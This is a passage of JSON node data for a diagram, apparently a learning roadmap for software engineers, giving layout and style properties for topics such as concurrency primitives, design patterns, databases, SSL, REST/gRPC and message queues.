\"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zbIbPlqTNSbJUkqH9iLQv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1595.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Future & Promises\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1595.6810870203947\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o0Y_hM0KXUApfsXG4PvOY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 61.56275416291476,\n        \"y\": 1595.6841808369861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Coroutine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 61.56275416291476,\n        \"y\": 1595.6841808369861\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SXOEMkcVYBsRza6BPmmwy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 172.56275416291476,\n        \"y\": 1595.6841808369861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Channel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 172.56275416291476,\n        \"y\": 1595.6841808369861\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xR6pERldq4wPl9GVLHAhT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1436.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Condition Variable\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1436.6810870203947\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IeD-oQ1bkwlKNC-R0lJjZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.0434878760507,\n        \"y\": 1225.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Thread Local Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"TVJrlUsg30YIM1yjsZfJI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 316.0434878760507,\n        \"y\": 1225.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mW2L_9NckgPRH7g5W9NHq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0153285883124,\n        \"y\": 1299.158346006392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Windows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 317.0153285883124,\n        \"y\": 1299.158346006392\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"HU0yUyl89WD8WnR9PJn7l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.0153285883124,\n        \"y\": 1299.158346006392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pthread\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 427.0153285883124,\n        \"y\": 1299.158346006392\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3use5vuLBJTk40wOg9S-X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 118.69747266236539,\n        \"y\": 1062.3595644355564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sharding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"TVJrlUsg30YIM1yjsZfJI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.69747266236539,\n        \"y\": 1062.3595644355564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TVJrlUsg30YIM1yjsZfJI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 118.69747266236539,\n        \"y\": 1115.3595644355564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fiber\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.69747266236539,\n        \"y\": 1115.3595644355564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -194.95651212394932,\n        \"y\": 1384.2630950364517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"cw7WdFfL5HpeZ_n8wYk2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -194.95651212394932,\n        \"y\": 1384.2630950364517\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gB-TYpgUDV47bxznNJhYn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1278.2630950364517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1278.2630950364517\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FKOhe21PVlaKIoZI4hd49\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1331.2630950364517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1331.2630950364517\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uTlxyDOtvt_Qp0gXLWO-j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1384.2630950364517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1384.2630950364517\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1c6EqGv1g-d8M1i0vKImb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1437.2630950364517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dump Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1437.2630950364517\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HXSWvhgT4L5w6xgOO-3kj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1490.2630950364517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functional Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.3091914009053,\n        \"y\": 1490.2630950364517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FLFaGZDg2MSG6_YHnWETM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -171.45651212394932,\n        \"y\": 1595.6841808369861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"cw7WdFfL5HpeZ_n8wYk2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -171.45651212394932,\n        \"y\": 1595.6841808369861\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tBAjat7nEbjD7idiFwLf3\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -480.6327630325113,\n        \"y\": 1740.8976823971498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RDBMS\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -480.6327630325113,\n        \"y\": 1740.8976823971498\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 78,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"QMNUAKAuRI9lyf2_jUPsj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -510.6327630325113,\n        \"y\": 1574.8976823971498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MS SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -510.6327630325113,\n        \"y\": 1574.8976823971498\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HsBqd08Ro0VJnx0FlumMQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -510.6327630325113,\n        \"y\": 1627.8976823971498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MySQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -510.6327630325113,\n        \"y\": 1627.8976823971498\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dAiEwN7phwMyaitvM5kRl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -510.6327630325113,\n        \"y\": 1680.8976823971498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -510.6327630325113,\n        \"y\": 1680.8976823971498\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6lpRonYBRRFycpjhYkeB9\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -329.81301933317815,\n        \"y\": 1794.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NoSQL\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -329.81301933317815,\n        \"y\": 1794.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"9vc7sFE_XakYXtKRMxLXi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1575.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DynamoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1575.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HYxtPW401-J6aYcTuiGnx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1628.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1628.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1jqSxk1nwByiQa1De81F3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1681.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cassandra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1681.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6KTj_giX2k9l2lPd_Fp-d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1734.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Couchbase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -360.31301933317815,\n        \"y\": 1734.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7YNaELVcoV7DV1Fa06USi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.08644532562175,\n        \"y\": 1458.1065060656979\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.08644532562175,\n        \"y\": 1458.1065060656979\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ayeezKxQkXAPJMTShsOBU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.08644532562175,\n        \"y\": 1511.1065060656979\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memcached\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.08644532562175,\n        \"y\": 1511.1065060656979\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CA1pvQw00EF2G_UtqenAZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -36.14448607509672,\n        \"y\": 1488.9027065582582\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key-Value\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -36.14448607509672,\n        \"y\": 1488.9027065582582\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"OyxWMFy8s7Lxko_K89fjo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -45.32115368925781,\n        \"y\": 1671.5717183078734\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ORM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86\n      },\n      \"positionAbsolute\": {\n        \"x\": -45.32115368925781,\n        \"y\": 1671.5717183078734\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dt_SmZuwklLimhupvjxC1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -45.32115368925781,\n        \"y\": 1724.5717183078734\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DAL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86\n      },\n      \"positionAbsolute\": {\n        \"x\": -45.32115368925781,\n        \"y\": 1724.5717183078734\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1788KFqsQBkYARqA0T5GX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -171.45651212394932,\n        \"y\": 1880.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cipher\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"cw7WdFfL5HpeZ_n8wYk2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -171.45651212394932,\n        \"y\": 1880.4564918532815\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PSvPjaVtko71BeIA-hYqf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -174.45654296875,\n        \"y\": 1795.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -174.45654296875,\n        \"y\": 1795.4564918532815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YxaroYL_Az0vKRCeu2jsp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 101.04348787605068,\n        \"y\": 1880.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RPC / REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"cw7WdFfL5HpeZ_n8wYk2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 101.04348787605068,\n        \"y\": 1880.4564918532815\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Oq3GQ5gBUxIl1Qe8NB3LB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 123.54348787605068,\n        \"y\": 1740.7176653422498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 123.54348787605068,\n        \"y\": 1740.7176653422498\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_uqTTBUYAzDHbEUkDzmzg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 123.54348787605068,\n        \"y\": 1793.7176653422498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": 123.54348787605068,\n        \"y\": 1793.7176653422498\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cw7WdFfL5HpeZ_n8wYk2t\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 343.9628452691828,\n        \"y\": 1880.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Message Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"zbIbPlqTNSbJUkqH9iLQv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 343.9628452691828,\n        \"y\": 1880.4564918532815\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gL7hubTh3qiMyUWeAZNwI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 359.4628452691828,\n        \"y\": 1741.422900324292\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apache Kafka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 